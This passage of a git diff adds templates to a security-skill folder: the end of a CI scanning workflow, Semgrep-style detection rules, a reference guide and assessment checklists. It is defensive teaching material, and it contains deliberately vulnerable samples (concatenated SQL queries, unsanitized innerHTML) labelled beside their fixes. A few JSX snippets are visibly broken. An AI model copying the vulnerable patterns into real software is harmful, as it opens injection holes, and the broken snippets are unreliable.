security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/webapp-sqlmap/assets/rule-template.yaml b/skills/offsec/webapp-sqlmap/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/webapp-sqlmap/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/webapp-sqlmap/references/EXAMPLE.md b/skills/offsec/webapp-sqlmap/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/webapp-sqlmap/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.md b/skills/offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable 